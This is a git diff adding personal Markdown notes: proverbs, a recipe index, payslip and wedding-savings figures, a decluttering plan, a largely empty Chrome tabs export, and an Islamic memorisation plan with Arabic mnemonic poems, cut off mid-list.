problem or loss — essentially, adding insult to injury. Instead of just missing out on one thing, they end up worse off than before. + +## \<2026-03-08 Sun\>: [Link to a bunch of proverbs](https://www.urdupod101.com/blog/2021/06/10/best-urdu-proverbs/) + +# Latin + +## \<2026-03-31 Tue 13:04\>: “mens sana in corpore sano” + +Translates to “a healthy mind in a healthy body.” + +# Japanese + +## \<2026-04-01 Wed 16:04\>: Nana korobi ya oki 七転び⼋起き + +Fall seven times, rise eight. + +## \<2026-04-01 Wed 16:41\>: ichi-go ichi-e + +“This moment exists only now and won’t come again.” diff --git a/Non Technical/20260307233451-recipes_cookbook.md b/Non Technical/20260307233451-recipes_cookbook.md new file mode 100755 index 0000000..696f62e --- /dev/null +++ b/Non Technical/20260307233451-recipes_cookbook.md @@ -0,0 +1,71 @@ +# Dinner + +## Crispy Honey Chili Chicken Chicken\_and\_Rice Dinner Family + +| | | +| ------------ | ------------------------------------------------------------------------------------- | +| **Category** | Dinner | +| **Keywords** | Chicken and Rice,Dinner,Family | +| **Created** | 2026-03-29 | +| **Modified** | 2026-03-29 | +| **Cooked** | \<2026-03-29 Sun\> | +| **Link** | [Open in Nextcloud](https://nextcloud.zainezq.com/apps/cookbook/webapp/recipes/42649) | + +**Tips:** Use the lal mirch flakes (chilly flakes), and only use 2 spoons of those (tsp) - perfect spice level + +# Lunch + +## Chicken Rice Meal Prep Chicken Chicken\_and\_Rice Lunch Rice + +| | | +| ------------ | ------------------------------------------------------------------------------------- | +| **Category** | Lunch | +| **Keywords** | Chicken,Chicken and Rice,Lunch,Rice | +| **Created** | 2026-03-08 | +| **Modified** | 2026-03-08 | +| **Cooked** | \<2026-03-08 Sun\> | +| **Link** | [Open in Nextcloud](https://nextcloud.zainezq.com/apps/cookbook/webapp/recipes/23153) | + +## Healthy CREAMY Tuna Wraps Lunch Tuna + +| | | +| ------------ | ------------------------------------------------------------------------------------- | +| **Category** | Lunch | +| **Keywords** | Lunch,Tuna | +| **Created** | 2026-03-07 | +| **Modified** | 2026-03-08 | +| **Cooked** | \<2025-07-17 Thu\> | +| **Link** | [Open in Nextcloud](https://nextcloud.zainezq.com/apps/cookbook/webapp/recipes/23133) | + +## High Protein Tuna Salad Lunch Tuna + +| | | +| ------------ | ------------------------------------------------------------------------------------- | +| **Category** | Lunch | +| **Keywords** | Lunch,Tuna | +| **Created** | 2026-02-23 | +| **Modified** | 2026-03-08 | +| **Cooked** | *not yet made* | +| **Link** | [Open in Nextcloud](https://nextcloud.zainezq.com/apps/cookbook/webapp/recipes/21929) | + +## One Pot Chicken and Rice Recipe Chicken Chicken\_and\_Rice Lunch One\_Pot Rice + +| | | +| ------------ | ------------------------------------------------------------------------------------- | +| **Category** | Lunch | +| **Keywords** | Chicken,Chicken and Rice,Lunch,One Pot,Rice | +| **Created** | 2026-03-08 | +| **Modified** | 2026-03-08 | +| **Cooked** | *not yet made* | +| **Link** | [Open in Nextcloud](https://nextcloud.zainezq.com/apps/cookbook/webapp/recipes/23167) | + +## Potato Peas Quesadilla Lunch Peas Potato Quesadilla + +| | | +| ------------ | ------------------------------------------------------------------------------------- | +| **Category** | Lunch | +| **Keywords** | Lunch,Peas,Potato,Quesadilla | +| **Created** | 2026-03-07 | +| **Modified** | 2026-03-08 | +| **Cooked** | \<2025-07-18 Fri\> | +| **Link** | [Open in Nextcloud](https://nextcloud.zainezq.com/apps/cookbook/webapp/recipes/23144) | diff --git a/Non Technical/20260407121857-finances.md b/Non Technical/20260407121857-finances.md new file mode 100755 index 0000000..2ce9379 --- /dev/null +++ b/Non Technical/20260407121857-finances.md @@ -0,0 +1,29 @@ +# Payslips + +| Month | Amount | +| ------------- | -------- | +| October 2025 | 1994.61 | +| November 2025 | 2058.30 | +| December 2025 | 2153.84 | +| January 2026 | 2259.99 | +| February 2026 | 2383.04 | +| March 2026 | 2083.64 | +| April 2026 | 2080.44 | +| Total | 15013.86 | + +# Walimah Hall: + +## Details + +£2800 for both halls and security deposit. +£1000 for the decor. +£10 per head for food, so £3000 for 300 people. +Total: £6800 + +## \<2026-04-07 Tue\>: £4525 saved. Left to save: £2275. + +Predictions: Should take 2 more salaries to save. £1500 in the first month, and £775 in the second month. 2000 - 775 = 1225, which is the amount left over after the second month. + +In May: £1500 +In June: £1500 + £1700 = £3200 +In July: £3200 + £1700 = £4900 diff --git a/Non Technical/20260410154301-decluttering_plan.md b/Non Technical/20260410154301-decluttering_plan.md new file mode 100755 index 0000000..aca909c --- /dev/null +++ b/Non Technical/20260410154301-decluttering_plan.md @@ -0,0 +1,55 @@ +# Intro + +Right now life feels extremely cluttered. I have a lot of things that I want to do, but don't know where to begin, or what tools to use. + +This clutter comes in my technical life and my personal life. In terms of technical life, my computer is a mess, files are everywhere, and Emacs config is also a mess. I have 4 devices that I mainly use, and I need to have a set standard for how I organise things. + +Google chrome is a mess. I have over 200 tabs open. + +My photos in my phone are a mess. + +My files in my phone are a mess. + +My notes in my phone are a mess. + +My notes in Emacs are a mess. + +In terms of personal life, my room is a mess. + +I want to also sort out my spiritual aspect of life. + +I plan on clocking out of work at 4PM today (and also every day). That would mean I have 30 minutes of lunch break, and 1.5 hours before the next phase of the day begins. So all in all, I will use from 4-4:45 every day to do something meaningful. + +# How to begin this decluttering phase? + +## DONE Emacs + +Okay so for Emacs Config, I won't meddle with the work laptop, because that has it's own use case. I will rarely be using the one in the server, which leaves me with my main PC and macbook. These two need to be identical (spend 1h on weekend fixing this). + +That will be Emacs all sorted. + +## TODO Windows + +Now as for the files on the windows PC, I need to go through all the photos and centralise them into one folder. +All documents need to be centralised into one folder. +Anything else needs to be archived. + +This will take a while + +## DONE Linux + + - Clean up generally (1h this weekend) + +## Mac cleanup + +### TODO Photos + +### DONE Files + +## TODO Physical book + + - Any tasks on the weekend, or any spiritual tasks I would like to undertake will be jotted down in a notebook + +## Note + +Any notes that need jotting down will go in the notes file. diff --git a/Non Technical/20260414162623-chrome_tabs_backup.md b/Non Technical/20260414162623-chrome_tabs_backup.md new file mode 100755 index 0000000..09b12ca --- /dev/null +++ b/Non Technical/20260414162623-chrome_tabs_backup.md @@ -0,0 +1,1219 @@ +Here are all the links exported out of google chrome that date back to 2023. It will take a while to clean them out but for the moment, they will sit here. + +# + +# + +# seems to be some archive of papers + +# transformers: + +# complexodynamics: + +# shubah + +# qirat 7: + +# principles of islamic studies: + +# safwatul tafseer + +# oop explained + +# article on lindy effect + +# usul fiqh book website + +# dijkstra + +# route planner rac to enfield + +# book list islamicbookcentre + +# i remember your smile + +# june 2024 timetable + +# tutors united + +# woodworking reddit + +# nashr qirat book + +# tabsirah + +# tabsirah pdf + +# pearl of wisdom + +# islamweb excerpt on a verse: + +# islamweb fatwa + +# actions Allah Ta'alah loves + +# excerpt from ihya + +# taleemul mutaallim + +# hadith + +# asmaul rijal books + +# book search + +# analysis on tiktok effect on teenagers + +# polling station + +# books of Sh. Ibrahim Damrah + +# google search relating to qirat + +# nashr pdf + +# bayan (hafs) pdf + +# stuck in a rut reddit + +# yt vid + +# fathul qadeer pdf + +# jazariyyah pdf + +# book (sifatul safwa) baghdadi + +# google search on book + +# code to companionship + +# book jami bayan ilm + +# mishkat article + +# mueenul faraiz pdf + +# tafseer of jalalayn + +# awjazul masalik + +# ye meri tamana hai + +# tips for dissertation + +# ubuntu wifi connections + +# sukoon e qalb + +# salahul ummah + +# aphasia + +# anwar ul saniyah + +# naat + +# naat / youth conference + +# mishkat and bukhari article + +# subjugating the nafs pdf + +# futuhaat ilahiyyah + +# mabadi ilm hadith sharif + + + +# arabiyyah bayna yadayk + +# Quran resources + +# qasidah burdah + +# yt vid on iran + +# Qasidah burdah yt + +# Qasidah burdah yt + +# le mot de linda + +# mantle adorned + +# calligraphy insta + +# book of wisdom + +# nafahat al tanqih + +# quiz on waqf + +# Al-Wafa Bi-Asma In-Nisa - 43 Volume Biographical work on Female Scholars and Transmitters of Hadith by Shaykh Akram Nadwi + +# book website + +# + +# + +# + +# + +# naat + +# + +# himmat aliya pdf + +# + +# urdu resource list + +# book search + +# usul fiqh pdf + +# article on riba + +# pak news? + +# ayat + +# duration + +# salat salam + +# Qari Ayoob + +# postgres aws + +# shamela excerpt + +# biography + +# books + +# book search + +# book search + +# dua + +# tibyan book + +# book search + +# book search + +# hayatul hayawan pdf english + +# sab'ah google drive pdfs + +# wiktionary word + +# org roam reddit + +# biography + +# hadith search + +# proverb search + +# emacs conf 2024 + +# doom config + +# waqf pdf + +# proverb + +# academic papers org roam + +# cold emailing + +# cold emailing + +# emacs config + +# cosmo pda + +# emacs config from scratch + +# install carplay c1 + +# line wrap emacs + +# uni books + +# 2008 chevy + +# + +# minshawi surah kahf with children + +# jaguar interior + +# org mode + +# hosting full stack apps + +# book search + + + +# woh mera khuda hai naat + +# naat lyrics + +# yt channel + +# naat + +# naat + +# naat lyrics + +# biography pdf + +# message of love + +# pdf gift to bearers of… + +# qiraat + +# durrah pdf + +# thinking persons guides + +# + +# + +# + +# + +# smile clinic + +# smile clinic + +# duas morning and evening + +# dua rain lighting and wind + +# anki vector robot + +# sharp aquos keitai + +# nginx + +# x240 + +# deadpan + +# network switch + +# butter chicken recipe + +# july degree congreg + +# anti stig barrel + +# bash scripting + +# game + +# hadith search + +# rofi i3wm + +# wallpaper rices + +# manjaro + +# dots + +# bspwm + +# desktop article + +# funny + +# munch + +# github + +# emacs websites + +# natural programming + +# discord emacs + +# pixymon + +# brook talks + +# game + +# yt Qari + +# executioner yt + +# dua `https://mseducationacademy.in/wp-content/uploads/2020/03/a4-dua-hazrat-anas-.jpg` + +# story search + +# hifz pdf + +# hifz book + +# emacs style + +# tafseer pdfs + +# sharh qaseedah + +# food article + +# dua + +# book search + +# hidaya pdfs + +# mujiz + +# IDEAS lab + +# self hosted + +# org roam article + +# org latex + +# selfhosted + +# shopify link + +# self hosted + +# grade guide + +# emacs + +# + +# injaz ul hajah + +# recycling centre + +# + +# + +# + +# book search + +# urdu books + +# qirat + +# + +# + +# qaloon + +# xkcd + +# + +# + +# surah furqan + +# surah Maryam + +# + +# surah Yusuf + +# codewars + +# + +# + +# biography + +# + +# dastaan e safar + +# book search + +# ticket + +# qaseedah pdf + +# reddit + +# + +# + +# + +# + +# + +# + +# + +# biblio + +# biography + +# pdf + +# qaseedah + +# book shop + +# + +# naat + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# …more++Sheikh+Mohamed+Siddiq+Minshawi++11.8K++Subscribe++131+++Share++Save++Report+Comments++7++Add+a+comment%E2%80%A6++28%3A42++%D8%B9%D9%86%D8%AF%D9%85%D8%A7+%D8%AA%D8%AE%D8%B7%D9%89+%D8%A7%D9%84%D8%B4%D9%8A%D8%AE+%D8%A7%D9%84%D9%85%D9%86%D8%B4%D8%A7%D9%88%D9%8A+%D9%83%D9%84+%D8%AD%D8%AF%D9%88%D8%AF+%D8%A7%D9%84%D8%AA%D8%AC%D9%84%D9%8A+%21+%7C+%D8%AA%D9%84%D8%A7%D9%88%D8%A9+%D8%A5%D8%B9%D8%AC%D8%A7%D8%B2%D9%8A%D8%A9+%D9%86%D8%A7%D8%AF%D8%B1%D8%A9+%D9%85%D9%86+%D8%B3%D9%88%D8%B1%D8%A9+%D8%A7%D9%84%D9%86%D9%85%D9%84+%F0%9F%8E%A7++Tajwed+%7C+%D8%AA%D8%AC%D9%88%D9%8A%D8%AF+%D9%82%D8%B1%D8%A2%D9%86+%D9%83%D8%B1%D9%8A%D9%85%E2%80%A2101K+views+++35%3A23++Surah+Kahf+%7C+Muhammad+Siddiq+al+Minshawi+%D8%B3%D9%88%D8%B1%D8%A9+%D8%A7%D9%84%D9%83%D9%87%D9%81+%7C+%D9%85%D8%AD%D9%85%D8%AF+%D8%B5%D8%AF%D9%8A%D9%82+%D8%A7%D9%84%D9%85%D9%86%D8%B4%D8%A7%D9%88%D9%8A++Sufyan+Qadhi%E2%80%A21M+views+++14%3A48++%D8%AA%D8%AC%D9%85%D9%8A%D8%B9%D8%A7%D8%AA+%D8%A8%D9%85%D9%82%D8%A7%D9%85+%5B%D8%A7%D9%84%D8%B9%D8%AC%D9%85%5D++%D8%A7%D9%84%D8%B4%D9%8A%D8%AE+%D8%B9%D8%A8%D8%AF+%D8%A7%D9%84%D8%A8%D8%A7%D8%B3%D8%B7+%D8%B9%D8%A8%D8%AF+%D8%A7%D9%84%D8%B5%D9%85%D8%AF++%D8%A7%D9%84%D8%AD%D9%86%D8%AC%D8%B1%D8%A9+%D8%A7%D9%84%D8%B2%D9%85%D8%B1%D8%AF%D9%8A%D8%A9%E2%80%A242K+views+++27%3A17++%D9%85%D8%AD%D9%85%D8%AF+%D8%B5%D8%AF%D9%8A%D9%82+%D8%A7%D9%84%D9%85%D9%86%D8%B4%D8%A7%D9%88%D9%8A%2F+%D8%B3%D9%88%D8%B1%D8%A9+%D8%A5%D8%A8%D8%B1%D8%A7%D9%87%D9%8A%D9%85+-~~%D8%A7%D9%84%D9%85%D8%B3%D8%AC%D8%AF+%D8%A7%D9%84%D8%A3%D9%82%D8%B5%D9%89+%D8%B9%D8%A7%D9%85+%D9%A1%D9%A9%D9%A6%D9%A5++Ali+K.S.A%E2%80%A2644K+views+++28%3A21++%D9%85%D9%86+%D8%A3%D8%B1%D9%88%D8%B9+%D9%85%D8%A7+%D9%8A%D9%8F%D8%B3%D9%85%D8%B9+%D9%88%D9%82%D8%AA+%D8%A7%D9%84%D8%B6%D9%8A%D9%82..+%D8%AA%D9%84%D8%A7%D9%88%D8%A9+%D8%AA%D9%8F%D8%B0%D9%87%D8%A8+%D8%A7%D9%84%D8%AD%D8%B2%D9%86+%7C+%D8%A7%D9%84%D8%B4%D9%8A%D8%AE+%D8%A7%D9%84%D9%85%D9%86%D8%B4%D8%A7%D9%88%D9%8A+%F0%9F%8E%99+%D9%85%D9%86+%D8%B3%D9%88%D8%B1%D8%A9+%D8%A7%D9%84%D9%82%D8%B5%D8%B5+%7C+%D8%AC%D9%88%D8%AF%D8%A9+%D8%B9%D8%A7%D9%84%D9%8A%D8%A9+%E1%B4%B4%E1%B4%B0++Tajwed+%7C+%D8%AA%D8%AC%D9%88%D9%8A%D8%AF+%D9%82%D8%B1%D8%A2%D9%86+%D9%83%D8%B1%D9%8A%D9%85%E2%80%A2150K+views+++35%3A22++%D8%B3%D9%88%D8%B1%D8%A9+%D8%A7%D9%84%D9%83%D9%87%D9%81+%D9%83%D8%A7%D9%85%D9%84%D8%A9+%D8%A8%D8%AF%D9%88%D9%86+%D8%B5%D8%AF%D9%89+%D8%B5%D9%88%D8%AA++%D8%A7%D9%84%D8%B4%D9%8A%D8%AE+%D9%85%D8%AD%D9%85%D8%AF+%D8%B5%D8%AF%D9%8A%D9%82+%D8%A7%D9%84%D9%85%D9%86%D8%B4%D8%A7%D9%88%D9%89+%D8%B1%D8%AD%D9%85%D9%87+%D8%A7%D9%84%D9%84%D9%87++%D8%A2%D9%8A%D8%A7%D8%AA%D9%8F+%D8%A8%D9%8A%D9%86%D8%A7%D8%AANew26K+views+++34%3A19++%D8%A5%D8%B0%D8%A7+%D9%83%D8%AB%D9%8F%D8%B1%D8%AA+%D8%A7%D9%84%D9%87%D9%85%D9%88%D9%85…+%D9%81%D9%8E%D9%83%D9%84%D8%A7%D9%85%D9%8F+%D8%A7%D9%84%D9%84%D9%87+%D9%8A%D9%81%D8%AA%D8%AD+%D9%84%D9%83+%D8%A3%D8%A8%D9%88%D8%A7%D8%A8+%D8%A7%D9%84%D8%B3%D9%83%D9%8A%D9%86%D8%A9+%7C+%D8%A7%D9%84%D8%B4%D9%8A%D8%AE+%D9%85%D8%AD%D9%85%D8%AF+%D8%B5%D8%AF%D9%8A%D9%82+%D8%A7%D9%84%D9%85%D9%86%D8%B4%D8%A7%D9%88%D9%8A+%7C+%D8%AC%D9%88%D8%AF%D8%A9+%D9%86%D9%82%D9%8A%D8%A9+%E1%B4%B4%E1%B4%B0++Tajwed+%7C+%D8%AA%D8%AC%D9%88%D9%8A%D8%AF+%D9%82%D8%B1%D8%A2%D9%86+%D9%83%D8%B1%D9%8A%D9%85%E2%80%A2185K+views+++18%3A26++%D9%88%D9%8E%D8%A2%D8%AA%D9%8E%D8%A7%D9%83%D9%8F%D9%85+%D9%85%D9%90%D9%91%D9%86+%D9%83%D9%8F%D9%84%D9%90%D9%91+%D9%85%D9%8E%D8%A7+%D8%B3%D9%8E%D8%A3%D9%8E%D9%84%D9%92%D8%AA%D9%8F%D9%85%D9%8F%D9%88%D9%87%D9%8F++%D8%AE%D9%8A%D8%B1+%D8%A3%D9%85%D8%A9%E2%80%A21M+views+++16%3A52++%D8%A7%D9%84%D8%B4%D9%8A%D8%AE+%D9%85%D8%AD%D9%85%D8%AF+%D8%B5%D8%AF%D9%8A%D9%82+%D8%A7%D9%84%D9%85%D9%86%D8%B4%D8%A7%D9%88%D9%8A+%D9%8A%D8%AA%D8%AE%D8%B7%D9%89+%D8%AD%D8%AF%D9%88%D8%AF+%D8%A7%D9%84%D8%AE%D8%B4%D9%88%D8%B9+%D9%88%D8%A7%D9%84%D8%A5%D8%A8%D8%AF%D8%A7%D8%B9+%21%21%F0%9F%92%9A+%D9%81%D9%8A+%D9%87%D8%B0%D9%87+%D8%A7%D9%84%D8%AA%D9%84%D8%A7%D9%88%D8%A9+%D8%A7%D9%84%D9%85%D8%B1%D8%A6%D9%8A%D8%A9+%D8%A7%D9%84%D9%86%D8%A7%D8%AF%D8%B1%D8%A9+%F0%9F%8E%A5%21++%D9%82%D9%86%D8%A7%D8%A9+%D8%B1%D9%88%D8%A7%D8%A6%D8%B9+%D8%A7%D9%84%D8%B4%D9%8A%D8%AE+%D8%A7%D9%84%D9%85%D9%86%D8%B4%D8%A7%D9%88%D9%8A%E2%80%A22M+views+++28%3A37++%D9%86%D8%A7%D8%AF%D8%B1%D8%A9+%D8%AA%D9%8F%D8%B0%D8%A7%D8%B9+%D9%84%D8%A3%D9%88%D9%84+%D9%85%D8%B1%D8%A9+%D9%88%D8%B5%D9%88%D8%AA+%D9%8A%D8%AE%D8%AA%D8%B1%D9%82+%D8%A7%D9%84%D9%82%D9%84%D9%88%D8%A8+%7C+%D8%A7%D9%84%D8%B4%D9%8A%D8%AE+%D9%85%D8%AD%D9%85%D8%AF+%D8%B5%D8%AF%D9%8A%D9%82+%D8%A7%D9%84%D9%85%D9%86%D8%B4%D8%A7%D9%88%D9%8A+%7C+%D9%85%D9%86+%D8%B3%D9%88%D8%B1%D8%A9+%D8%A7%D9%84%D8%AD%D8%AC%D8%B1%D8%A7%D8%AA+%D9%88+%D9%82%F0%9F%8E%A7++Tajwed+%7C+%D8%AA%D8%AC%D9%88%D9%8A%D8%AF+%D9%82%D8%B1%D8%A2%D9%86+%D9%83%D8%B1%D9%8A%D9%85New29K+views+++32%3A36++%D9%87%D9%88+%D8%A7%D9%84%D9%84%D9%87+%23%D8%A7%D9%84%D9%85%D9%86%D8%B4%D8%A7%D9%88%D9%8A+%23%23%D9%8A%D8%AE%D8%AA%D8%B1%D9%82+%D8%A7%D9%84%D8%B1%D9%88%D8%AD+%D9%84%D9%8A%D8%B5%D9%84+%D8%A7%D9%84%D9%89+%D8%A7%D9%81%D8%A7%D9%82+%D8%A8%D8%B9%D9%8A%D8%AF%D8%A9%2C+%D8%A7%D9%84%D8%B4%D9%8A%D8%AE+%D9%8A%D8%A8%D9%83%D9%8A+%23%23%D9%88%D8%A7%D9%84%D8%AC%D9%85%D9%87%D9%88%D8%B1+%D9%8A%D9%86%D8%B5%D8%AA+%23%D9%88%D9%8A%D8%A8%D9%83%D9%8A+%F0%9F%98%AD%F0%9F%98%AD++%D9%85%D8%B9%D8%B1%D8%A7%D8%AC~~-+M3raj%E2%80%A221M+views+++24%3A41++%D8%A7%D8%B1%D9%88%D8%B9+%D8%AA%D8%AC%D9%85%D9%8A%D8%B9+%D9%85%D9%82%D8%A7%D8%B7%D8%B9+%D9%84%D9%84%D9%85%D9%82%D8%A7%D9%85+%D8%A7%D9%84%D8%B0%D9%8A+%D8%A7%D8%B4%D8%AA%D9%87%D8%B1+%D8%A8%D9%87+%D8%A7%D9%84%D8%B4%D9%8A%D8%AE+%D8%B9%D8%A8%D8%AF+%D8%A7%D9%84%D8%A8%D8%A7%D8%B3%D8%B7+%D8%B9%D8%A8%D8%AF+%D8%A7%D9%84%D8%B5%D9%85%D8%AF+%D9%85%D9%82%D8%A7%D9%85%5B%D8%A7%D9%84%D8%B1%D8%B3%D8%AA%5D+%D8%AA%D8%AC%D9%85%D9%8A%D8%B9+%D9%85%D9%82%D8%A7%D8%B7%D8%B9+%D8%A8%D9%85%D9%82%D8%A7%D9%85+%D8%A7%D9%84%D8%B1%D8%B3%D8%AA++%D8%A7%D9%84%D8%AD%D9%86%D8%AC%D8%B1%D8%A9+%D8%A7%D9%84%D8%B2%D9%85%D8%B1%D8%AF%D9%8A%D8%A9%E2%80%A210K+views\&sp=mAEA + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# :\~:text=Mehr%20Zawjaat%20(Wives%20of%20Rasulullah,gave%20preference%20to%20this%20opinion. + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# + +# diff --git a/Non Technical/20260420142151-textual_hifz.md b/Non Technical/20260420142151-textual_hifz.md new file mode 100755 index 0000000..1841f65 --- /dev/null +++ b/Non Technical/20260420142151-textual_hifz.md @@ -0,0 +1,310 @@ +[Ibarat](id:3d3c56dc-0327-4e18-a90a-1bc105496243) + +# Plan: + +## Sciences of the Quran & Recitation (Tajwīd) + + - Al-Muqaddimah al-Jazariyyah (Ibn al-Jazarī) — the foundational tajwīd poem + - Tuhfat al-Aṭfāl (al-Jamzūrī) — tajwīd rules in verse + - Al-Shāṭibiyyah (for those advancing to the Ten Qiraʾāt) + +## Sīrah (Prophetic Biography) + + - Full lineage of the Prophet ﷺ back to ʿAdnān \[-\] + - Names of his wives (the Mothers of the Believers) (11 in total) \[x\] + - Names of his children (sons and daughters, with brief notes on each) \[x\] + - His uncles and aunts (especially the notable ones) \[x\] + - Names of his grandchildren \[x\] + +****Major Events:**** + + - Year of the Elephant, birth, early life in Makkah + - First revelation, early Makkan period, the persecution + - Isrāʾ wal-Miʿrāj + - Hijrah to Madinah — the route and key stops + - The Ghazawāt (battles the Prophet ﷺ personally participated in) — commonly counted as 27, with the major ones being: + - Badr, Uhud, al-Khandaq (the Trench), Khaybar, Makkah (the Conquest), Ḥunayn, Tāʾif, Tabūk + - The Sarāyā (expeditions he ﷺ sent out) — over 50 + - Dates of major events (Hijrī years) + - The farewell pilgrimage (Ḥajjat al-Wadāʿ) + - His ﷺ death (11 AH) and burial + +## Misc + + - Al-ʿAqīdah al-Ṭaḥāwiyyah — widely accepted across schools + + - The 99 names of Allah with meanings + +## Usul + + - Al-Manzūmah al-Bayqūniyyah (al-Bayqūnī) — 34 lines covering the types of ḥadīth; essential for every student + - Nukhbat al-Fikr (Ibn Ḥajar) — memorize the matn, then study the Nuzhat al-Naẓar commentary + +## Arabic Language + +****Grammar (Naḥw):**** + + - Al-Ājurrūmiyyah (Ibn Ājurrūm) — the most widely memorized primer in Arabic grammar + +****Morphology (Ṣarf):**** + + - Al-Amthilah al-Mukhtalifah — the verb conjugation tables (the 35 paradigms — critical) + - Lāmiyyat al-Afʿāl (Ibn Mālik) — morphology in verse + - Al-Binā wal-Asās — common in South Asian tradition + +## Tafsīr & Quranic Sciences + + - Memorize the meanings and contexts of the major surahs (especially al-Fātiḥah, the Mufaṣṣal surahs) + - Asbāb al-Nuzūl of commonly cited verses + - The Makkan vs Madinan distinction and its significance + - The seven aḥruf and the ten qiraʾāt (at least conceptually) + - Nāsikh and mansūkh — key examples + +## Tārīkh (Islamic History — Beyond Sīrah) + + - The Rightly-Guided Caliphs: their reigns, key events, dates + - The Umayyad and Abbasid Caliphates — major rulers and turning points + - The major scholars of each era (ṭabaqāt al-ʿulamāʾ) + - The lineages of the four Imāms + - Key dates: Battle of Yarmūk (636), fall of Baghdad (1258), fall of Andalus (1492), fall of the Ottoman Caliphate (1924) + +## Biographical Knowledge (Rijāl) + + - The ten promised Paradise (al-ʿAsharah al-Mubashsharūn) — names and brief biographies + - The major Companions: Abū Bakr, ʿUmar, ʿUthmān, ʿAlī, Ibn Masʿūd, Ibn ʿAbbās, Ibn ʿUmar, ʿĀʾishah, Abū Hurayrah, Anas ibn Mālik, Muʿādh ibn Jabal, etc. + - The major Tābiʿīn: al-Ḥasan al-Baṣrī, Ibn Sīrīn, Saʿīd ibn al-Musayyib, etc. + - The four Imāms of fiqh — full names, birth/death dates, teachers, students + - Major scholars of hadith: al-Bukhārī, Muslim, Abū Dāwūd, al-Tirmidhī, al-Nasāʾī, Ibn Mājah (the authors of the Kutub al-Sittah) and their basic biographies + - Al-Dhahabī, Ibn Ḥajar, al-Nawawī, Ibn Qudāmah, Ibn Taymiyyah, Ibn Kathīr — who they were and their key works + +# Children + +## Poem 1 + +لَقَبَانِ زِيَادَةً عَلَى الِاسْمِ وَالْقَاسِمُ، وَإِبْرَاهِيمُ وَالْإِنَاثُ أَرْبَعَةٌ زَيْنَبُ وَرُقَيَّةُ وَأُمُّ كُلْثُومٍ وَفَاطِمَةُ وَيَنْبَغِي حِفْظُهُمْ وَمَعْرِفَتُهُمْ لِأَنَّ النَّبِيَّ ﷺ سَيِّدُنَا وَيَقْبُحُ عَلَى الْإِنْسَانِ أَنْ لَا يَعْرِفَ أَوْلَادَ سَيِّدِهِ اهـ وَكُلُّهُمْ مِنْ خَدِيجَةَ إلَّا إبْرَاهِيمَ فَمِنْ مَارِيَةَ الْقِبْطِيَّةِ أَهْدَاهَا لَهُ الْمُقَوْقَسُ مِنْ مِصْرَ اهـ. + +وَقَدْ جَمَعْتُ أَوْلَادَهُ ﷺ فِي قَوْلِي لِيَسْهُلَ حِفْظُهُمْ: + +أَوْلَادُ طَه سَبْعَةٌ أَطْهَارٌ … ذُكُورُهُمْ ثَلَاثَةٌ أَبْرَارُ + +الْقَاسِمُ إبْرَاهِيمُ عَبْدُ اللَّهِ ذَا … بِالطَّيِّبِ الطَّاهِرِ تَلْقِيبًا خُذَا + +وَأَرْبَعٌ إنَاثُهُمْ فَاطِمَةُ … فَأُمُّ كُلْثُومٍ كَذَا رُقَيَّةُ + +## Poem 2 + +اولادهُ فسبعةٌ. بناتهُ اربعةٌ ️ فزينبُ في الأولي. وام كُلثوم تلي + +رقيةٌ وبعدها. فاطمةٌ ختامُها + +أما الذكورُ انهم. فقاسمٌ اولهم + +وعبدُ الله الطاهرُ. مع ابراهيمَ اذكرُ + +قد ماتوا في حياتهِ. فاطمةٌ من بعدهِ + +# Wives + +## Poem 1 + +خليلي سبت عقلي حلا زين هالة ……. زهى جفنها رمزا صحيحا مهذبا + +خليلي : خديجة + +سبت : سودة + +عقلي : عائشة + +حلا : حفصة + +زين : زينب بنت خزيمة + +هالة : هند ( أم سلمة ) + +زهى : زينب بنت جحش + +جفنها : جويرية + +رمزا : رملة ( أم حبيبة ) + +صحيحا : صفية + +مهذبا : ميمونة + +رضي الله عنعن جميعا + +## Poem 2 + +زوجاتهُ ﷺإحدى عشر فيما رووهُ واشتهر + +خديجةٌ فسودةٌ. عائشةٌ فحفصةٌ + +وزينبٌ ورملةٌ. ميمونةٌ صفيةٌ + +وهندُ اما التاليه. زوجتهُ جويريه + +بنت خُزْيمٍ زينبُ. وبنت جحشِ زينبُ + +# Uncles and Aunts: + +## Memorise: + +أعمامه ﷺ-: أعمام النبي ﷺ أحد عشر رجلًا وهم: + +العباس، + +والزبير، + +وأبو طالب "اسمه عبد مناف"، + +وعبد الكعبة، + +وحمزة، + +والمقُوِّم، + +وحَجْلٌ "اسمه المغيرة"، + +وضرار وقُثَم، + +وأبو لهب "واسمه: عبد العُزى" + +والغَيْداق "اسمه 